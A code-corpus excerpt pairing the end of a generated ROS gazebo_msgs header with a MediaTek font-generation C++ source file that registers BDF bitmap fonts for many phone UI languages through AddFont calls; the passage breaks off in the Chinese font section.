} // namespace serialization
} // namespace ros
namespace ros
{
namespace message_operations
{
template<class ContainerAllocator>
struct Printer< ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator> >
{
template<typename Stream> static void stream(Stream& s, const std::string& indent, const ::gazebo_msgs::SetJointPropertiesRequest_<ContainerAllocator>& v)
{
s << indent << "joint_name: ";
Printer<std::basic_string<char, std::char_traits<char>, typename ContainerAllocator::template rebind<char>::other > >::stream(s, indent + " ", v.joint_name);
s << indent << "ode_joint_config: ";
s << std::endl;
Printer< ::gazebo_msgs::ODEJointProperties_<ContainerAllocator> >::stream(s, indent + " ", v.ode_joint_config);
}
};
} // namespace message_operations
} // namespace ros
#endif // GAZEBO_MSGS_MESSAGE_SETJOINTPROPERTIESREQUEST_H
| [
"skasturirangan@wpi.edu"
] | skasturirangan@wpi.edu |
35552a4d6a39b5696d8073800d97730700953bc3 | d5f7257da1fd3d94eed5c945f59a33fb9822c5c1 | /vendor/font/MTK/official/project/plutommi/content/src/MainLcd128X64/res_gen_font.cpp | cf351900c0b0293d3b1b1d4599c32aedfc3c844f | [] | no_license | dongdong-2009/2503D_MQTT | ce37cd3bd83fbd310e411d21aea663dd02d4ac6a | 15f0ec65a56412935a810712807303362b2c5427 | refs/heads/master | 2023-04-22T21:33:57.079597 | 2021-04-25T11:36:43 | 2021-04-25T11:36:43 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 28,863 | cpp | #include "StdAfx.h"
#include "FontgenGprot.h"
#define FONT_DATA_FILE_PATH(file_name) "..\\..\\..\\vendor\\font\\FontData\\OfficialFont\\"#file_name /* "..\\..\\..\\vendor\\font\\MTK\\official\\project\\plutommi\\content\\FontData\\"#file_name */
#define FONT_DATA_OUTPUT_PATH (".\\FontFile")
#if (defined(__MMI_LANG_ENGLISH__) || defined(__MMI_LANG_SWAHILI__) || defined(__MMI_LANG_ZULU__) || defined(__MMI_LANG_XHOSA__))&& \
!defined(__MMI_LANG_TURKISH__)&&!defined(__MMI_LANG_VIETNAMESE__)&&!defined(__MMI_LANG_POLISH__)&&!defined(__MMI_LANG_CZECH__)&&!defined(__MMI_LANG_NORWEGIAN__)&& \
!defined(__MMI_LANG_FINNISH__)&&!defined(__MMI_LANG_HUNGARIAN__)&&!defined(__MMI_LANG_SLOVAK__)&&!defined(__MMI_LANG_DUTCH__)&&!defined(__MMI_LANG_SWEDISH__)&& \
!defined(__MMI_LANG_CROATIAN__)&&!defined(__MMI_LANG_ROMANIAN__)&&!defined(__MMI_LANG_MOLDOVAN__)&&!defined(__MMI_LANG_SLOVENIAN__) && !defined(__MMI_LANG_FRENCH__) && !defined(__MMI_LANG_CA_FRENCH__) && \
!defined (__MMI_LANG_LITHUANIAN__)&&!defined (__MMI_LANG_LATVIAN__)&&!defined (__MMI_LANG_ESTONIAN__)&&!defined(__MMI_LANG_AFRIKAANS__)&&!defined(__MMI_LANG_AZERBAIJANI__)&& \
!defined (__MMI_LANG_HAUSA__)&&!defined(__MMI_LANG_ICELANDIC__)&&!defined(__MMI_LANG_SERBIAN__)&& !defined (__MMI_LANG_IGBO__) && !defined(__MMI_LANG_SPANISH__)
#define __MMI_FONT_LATIN_BASIC__
#elif (defined(__MMI_LANG_SPANISH__) || defined(__MMI_LANG_TURKISH__)|| defined(__MMI_LANG_POLISH__) ||defined(__MMI_LANG_CZECH__)||defined(__MMI_LANG_SWEDISH__)|| \
defined(__MMI_LANG_CROATIAN__)||defined(__MMI_LANG_SLOVENIAN__)||defined(__MMI_LANG_NORWEGIAN__)||defined(__MMI_LANG_SLOVAK__)|| \
defined(__MMI_LANG_DUTCH__)||defined(__MMI_LANG_HUNGARIAN__) || defined(__MMI_LANG_FRENCH__) || defined(__MMI_LANG_CA_FRENCH__) || \
defined (__MMI_LANG_LITHUANIAN__) || defined (__MMI_LANG_LATVIAN__) || defined (__MMI_LANG_ESTONIAN__) || defined(__MMI_LANG_AFRIKAANS__))&& \
!defined(__MMI_LANG_ROMANIAN__)&&!defined(__MMI_LANG_MOLDOVAN__)&&!defined(__MMI_LANG_VIETNAMESE__) && !defined(__MMI_LANG_FINNISH__)&&!defined (__MMI_LANG_HAUSA__)&& !defined (__MMI_LANG_IGBO__)
#define __MMI_FONT_LATIN_EXTEND_A__
#else
#define __MMI_FONT_LATIN_ALL__
#endif
int main(int argc, char* argv[])
{
InitialFontEngine(FONT_DATA_OUTPUT_PATH);
#ifndef __MMI_VECTOR_FONT_SUPPORT__
#if defined (__MMI_GUOBI_BDF_FONT__)
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Guobi\\Latin\\Latin_12.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Guobi\\Latin\\Latin_14.bdf),
MCT_MEDIUM_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Guobi\\Latin\\Latin_16.bdf),
MCT_LARGE_FONT, 0, 0);
#if defined (__MMI_LANG_AZERBAIJANI__)
AddFont(
("Azer"), ("*#0994#"), ("az-AZ"),
FONT_DATA_FILE_PATH(Guobi\\Azeri\\Az_16.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT, 0, 0);
#endif
#else
#if defined(__MMI_FONT_LATIN_BASIC__)
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\pluto_small.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\pluto_medium.bdf),
MCT_MEDIUM_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\pluto_large.bdf),
MCT_LARGE_FONT, 0, 0);
/* No sublcd bdf file now, so use small font instead of it temporary. */
// AddFont(
// ("English"), ("*#0044#"), ("en-US"),
// FONT_DATA_FILE_PATH(Latin\\pluto_small.bdf),
// MCT_DIALER_FONT, 0, 0);
#elif defined(__MMI_FONT_LATIN_EXTEND_A__)
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R08_Turkish_9x9_4_9P.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R13_Turkish_14x14_4_14P.bdf),
MCT_MEDIUM_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R13_Turkish_16x16_4_16P.bdf),
MCT_LARGE_FONT, 0, 0);
/*
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\myarial.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT, 0, 0);
*/
#else
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R16_Vietnamese_9x9_4.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R16_Vietnamese_14x14_4.bdf),
MCT_MEDIUM_FONT, 0, 0);
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\R16_Vietnamese_16x16_4.bdf),
MCT_LARGE_FONT, 0, 0);
#endif
#endif
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT, 0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(VK\\Latin_10.bdf),
MCT_VIRTUAL_KEYBOARD_FONT, 0, 0);
#endif
#if defined(__MMI_LANG_GREEK__)
#if defined (__MMI_GUOBI_BDF_FONT__)
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Guobi\\Greek\\Grc_16.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
0, 0);
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Guobi\\Greek\\Grc_16.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Guobi\\Greek\\Grc_16.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(VK\\Greek_10.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#else
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Greek\\uG0H9x9_4p.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
0, 0);
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Greek\\uG0H14x14_4p.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(Greek\\uG0H16x16_4p.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Greek"), ("*#0030#"), ("el-GR"),
FONT_DATA_FILE_PATH(VK\\Greek_10.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#endif
/* No such bdf file now. */
#if defined(__MMI_LANG_HK_CHINESE__)
AddFont(
("HKChinese"), ("*#0852#"), ("zh-HK"),
FONT_DATA_FILE_PATH(HKChinese\\uHBM13X14.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
1, 0);
AddFont(
("HKChinese"), ("*#0852#"), ("zh-HK"),
FONT_DATA_FILE_PATH(HKChinese\\uHBM15X16.bdf),
MCT_MEDIUM_FONT | MCT_LARGE_FONT,
1, 0);
AddFont(
("HKChinese"), ("*#0852#"), ("zh-HK"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif /* defined(__MMI_LANG_HK_CHINESE__) */
#if defined(__MMI_LANG_KOREAN__)
AddFont(
("Korean"), ("*#0082#"), ("ko"),
FONT_DATA_FILE_PATH(Korean\\R02_uKH11x12A_12.bdf),
MCT_SMALL_FONT,
1, 0);
AddFont(
("Korean"), ("*#0082#"), ("ko"),
FONT_DATA_FILE_PATH(Korean\\R02_uKH13x14A_14.bdf),
MCT_MEDIUM_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
1, 0);
AddFont(
("Korean"), ("*#0082#"), ("ko"),
FONT_DATA_FILE_PATH(Korean\\R02_uKH15x16A_16.bdf),
MCT_LARGE_FONT,
1, 0);
AddFont(
("Korean"), ("*#0082#"), ("ko"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
//#include "L_1_DiallingFont.h" ???
/* No such bdf file now */
/* Thai language */
#if defined(__MMI_LANG_THAI__)
#if defined (__MMI_GUOBI_BDF_FONT__)
AddFont(
("Thai"), ("*#0066#"), ("th-TH"),
FONT_DATA_FILE_PATH(Guobi\\Thai\\Th_14.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Thai"), ("*#0066#"), ("th-TH"),
FONT_DATA_FILE_PATH(VK\\Thai_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#else
AddFont(
("Thai"), ("*#0066#"), ("th-TH"),
FONT_DATA_FILE_PATH(Thai\\Thai_14Prop.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Thai"), ("*#0066#"), ("th-TH"),
FONT_DATA_FILE_PATH(VK\\Thai_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#endif
#if defined(__MMI_LANG_RUSSIAN__) || defined(__MMI_LANG_BULGARIAN__) || defined(__MMI_LANG_UKRAINIAN__)|| defined(__MMI_LANG_KAZAKH__) || defined(__MMI_LANG_MACEDONIAN__) || defined(__MMI_LANG_SERBIAN__)
#if defined (__MMI_GUOBI_BDF_FONT__)
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(Guobi\\Cyrillic\\Cyrillic_12.bdf),
MCT_SMALL_FONT|MCT_SUBLCD_FONT,
0, 0);
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(Guobi\\Cyrillic\\Cyrillic_16.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(Guobi\\Cyrillic\\Cyrillic_16.bdf),
MCT_LARGE_FONT | MCT_ALPHA_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(VK\\vk_cyrillic_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#else
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(RUSSIAN\\R12_Russian_9x9_4_9P.bdf),
MCT_SMALL_FONT|MCT_SUBLCD_FONT,
0, 0);
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(RUSSIAN\\R12_Russian_14x14_4_14P.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(RUSSIAN\\R12_Russian_16x16_4_16P.bdf),
MCT_LARGE_FONT | MCT_ALPHA_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Russian"), ("*#0007#"), ("ru-RU"),
FONT_DATA_FILE_PATH(VK\\vk_cyrillic_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#endif
/* No such bdf file now */
#if defined(__MMI_LANG_PERSIAN__) || defined(__MMI_LANG_URDU__)
AddFont(
("Farsi"), ("*#0098#"), ("ps-IR"),
FONT_DATA_FILE_PATH(Farsi\\Farsi14.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Farsi"), ("*#0098#"), ("ps-IR"),
FONT_DATA_FILE_PATH(VK\\Arabic_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#elif defined(__MMI_LANG_ARABIC__)
AddFont(
("Arabic"), ("*#0966#"), ("ar-SA"),
FONT_DATA_FILE_PATH(Arabic\\Arabic14.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_DIALER_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Arabic"), ("*#0966#"), ("ar-SA"),
FONT_DATA_FILE_PATH(VK\\Arabic_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
/* Hindi language */
#if defined(__MMI_LANG_HINDI__) || defined(__MMI_LANG_MARATHI__)
AddFont(
("Hindi"), ("*#0091#"), ("hi-IN"),
FONT_DATA_FILE_PATH(Hindi\\Hindi_14_v26.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Hindi"), ("*#0091#"), ("hi-IN"),
FONT_DATA_FILE_PATH(Hindi\\Hindi_16_v26.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Hindi"), ("*#0091#"), ("hi-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_KHMER__)
AddFont(
("Khmer"), ("*#0855#"), ("km-IN"),
FONT_DATA_FILE_PATH(Sea\\Khmer18x18_v01.bdf),
MCT_SMALL_FONT |MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
AddFont(
("Khmer"), ("*#0855#"), ("km-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_MYANMAR__)
AddFont(
("Myanmar"), ("*#0095#"), ("my-IN"),
FONT_DATA_FILE_PATH(Sea\\Myanmar18x18_v02.bdf),
MCT_SMALL_FONT |MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
AddFont(
("Myanmar"), ("*#0095#"), ("my-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_ZAWGYI_MYANMAR__)
AddFont(
("Zawgyi"), ("*#1095#"), ("my-Za"),
FONT_DATA_FILE_PATH(Sea\\MyanmarZawgyi_18x18p_v01.bdf),
MCT_SMALL_FONT |MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Zawgyi"), ("*#1095#"), ("my-Za"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_LAO__)
AddFont(
("Lao"), ("*#0856#"), ("lo-IN"),
FONT_DATA_FILE_PATH(Sea\\lao18x18_v01.bdf),
MCT_SMALL_FONT |MCT_MEDIUM_FONT|MCT_LARGE_FONT|MCT_SUBLCD_FONT|MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
AddFont(
("Lao"), ("*#0856#"), ("lo-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_TAMIL__)
AddFont(
("Tamil"), ("*#9144#"), ("ta-IN"),
FONT_DATA_FILE_PATH(Tamil\\Tamil_21Wx16H_v11a.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT|MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Tamil"), ("*#9144#"), ("ta-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
/* Bengali Language */
#if defined(__MMI_LANG_BENGALI__) || defined(__MMI_LANG_ASSAMESE__)
AddFont(
("Bengali"), ("*#9133#"), ("be-IN"),
FONT_DATA_FILE_PATH(Bengali\\Bengali_14x14p_v28b3.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT| MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Bengali"), ("*#9133#"), ("be-IN"),
FONT_DATA_FILE_PATH(Bengali\\Bengali_16x16p_v28b3.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Bengali"), ("*#9133#"), ("be-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
/* Gujarati Language */
#if defined(__MMI_LANG_GUJARATI__)
AddFont(
("Gujarati"), ("*#9127#"), ("gu-IN"),
FONT_DATA_FILE_PATH(Gujarati\\Gujarati_14x14p_v18.bdf),
MCT_SMALL_FONT |MCT_MEDIUM_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Gujarati"), ("*#9127#"), ("gu-IN"),
FONT_DATA_FILE_PATH(Gujarati\\Gujarati_16x16p_v18.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Gujarati"), ("*#9127#"), ("gu-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_PUNJABI__)
AddFont(
("Punjabi"), ("*#9172#"), ("pa-IN"),
FONT_DATA_FILE_PATH(Punjabi\\Punjabi_14x14p_v15.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Punjabi"), ("*#9172#"), ("pa-IN"),
FONT_DATA_FILE_PATH(Punjabi\\Punjabi_16x16p_v15.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Punjabi"), ("*#9172#"), ("pa-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_TELUGU__)
AddFont(
("Telugu"), ("*#9140#"), ("te-IN"),
FONT_DATA_FILE_PATH(Telugu\\Telugu_20x16_v17a.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT|MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Telugu"), ("*#9140#"), ("te-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_KANNADA__)
AddFont(
("Kannada"), ("*#9180#"), ("kn-IN"),
FONT_DATA_FILE_PATH(Kannada\\Kannada_16x14p_v12a.bdf),
MCT_SMALL_FONT|MCT_MEDIUM_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Kannada"), ("*#9180#"), ("kn-IN"),
FONT_DATA_FILE_PATH(Kannada\\Kannada_16x16p_v12a.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Kannada"), ("*#9180#"), ("kn-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_MALAYALAM__)
AddFont(
("Malayalam"), ("*#9171#"), ("ml-IN"),
FONT_DATA_FILE_PATH(Malayalam\\Malayalam18x14_v02.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT| MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Malayalam"), ("*#9171#"), ("ml-IN"),
FONT_DATA_FILE_PATH(Malayalam\\Malayalam18x16_v02.bdf),
MCT_LARGE_FONT,
0, 1);
AddFont(
("Malayalam"), ("*#9171#"), ("ml-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
#if defined(__MMI_LANG_ORIYA__)
AddFont(
("Oriya"), ("*#9174#"), ("or-IN"),
FONT_DATA_FILE_PATH(Oriya\\Oriya_24x16p_v03.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_VIRTUAL_KEYBOARD_FONT,
0, 1);
AddFont(
("Oriya"), ("*#9174#"), ("or-IN"),
FONT_DATA_FILE_PATH(Dialing\\L_MTK_DiallingFont_27.bdf),
MCT_DIALER_FONT,
0, 0);
#endif
/* No sure font size */
#if defined(__MMI_LANG_HEBREW__)
AddFont(
("Hebrew"), ("*#0972#"), ("he-IL"),
FONT_DATA_FILE_PATH(Hebrew\\Hebrew_uH9x9_4.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT|MCT_DIALER_FONT,
0, 0);
AddFont(
("Hebrew"), ("*#0972#"), ("he-IL"),
FONT_DATA_FILE_PATH(Hebrew\\Hebrew_uH14x14_4.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Hebrew"), ("*#0972#"), ("he-IL"),
FONT_DATA_FILE_PATH(Hebrew\\Hebrew_uH16x16_4.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Hebrew"), ("*#0972#"), ("he-IL"),
FONT_DATA_FILE_PATH(VK\\Hebrew_9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#if defined(__MMI_LANG_ARMENIAN__)
AddFont(
("ARMENIAN"), ("*#0374#"), ("hy-AM"),
FONT_DATA_FILE_PATH(Armenian\\Armenian_H9x9_4p.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
0, 0);
AddFont(
("ARMENIAN"), ("*#0374#"), ("hy-AM"),
FONT_DATA_FILE_PATH(Armenian\\Armenian_H14x14_4p.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("ARMENIAN"), ("*#0374#"), ("hy-AM"),
FONT_DATA_FILE_PATH(Armenian\\Armenian_H16x16_4p.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("ARMENIAN"), ("*#0374#"), ("hy-AM"),
FONT_DATA_FILE_PATH(VK\\Armenian_vk.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
/* No such bdf file now */
#if defined(__MMI_LANG_GEORGIAN__)
#if defined (__MMI_GUOBI_BDF_FONT__)
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Guobi\\Georgian\\Georgian_16.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT| MCT_DIALER_FONT ,
0, 0);
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Guobi\\Georgian\\Georgian_16.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Guobi\\Georgian\\Georgian_16.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(VK\\Georgia_vk.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#else
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Georgia\\Georgia_H9x9_4p.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT| MCT_DIALER_FONT ,
0, 0);
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Georgia\\Georgia_H14x14_4p.bdf),
MCT_MEDIUM_FONT,
0, 0);
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(Georgia\\Georgia_H16x16_4p.bdf),
MCT_LARGE_FONT,
0, 0);
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Georgian"), ("*#0995#"), ("ka-GE"),
FONT_DATA_FILE_PATH(VK\\Georgia_vk.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#endif
/* Chinese */
#if defined(__MMI_LANG_TR_CHINESE__) || defined(__MMI_LANG_SM_CHINESE__)
#ifdef __MMI_16X16_CHINESE_FONT__
#if defined(__MMI_CHINESE_WITH_SMALL_FONT__)
AddFont(
("Chinese"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(Chinese\\GBTM.bdf),
MCT_SMALL_FONT,
1, 0);
AddFont(
("Chinese"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(Chinese\\GBTM.bdf),
MCT_SMALL_FONT,
1, 0);
AddFont(
("Chinesec"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(Chinese\\STMing_16_r.bdf),
MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT | MCT_DIALER_FONT,
1, 0);
AddFont(
("Chineset"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(Chinese\\STMing_16_r.bdf),
MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT| MCT_DIALER_FONT,
1, 0);
#else
AddFont(
("Chinesec"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(Chinese\\STMing_16_r.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT,
1, 0);
AddFont(
("Chineset"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(Chinese\\STMing_16_r.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT,
1, 0);
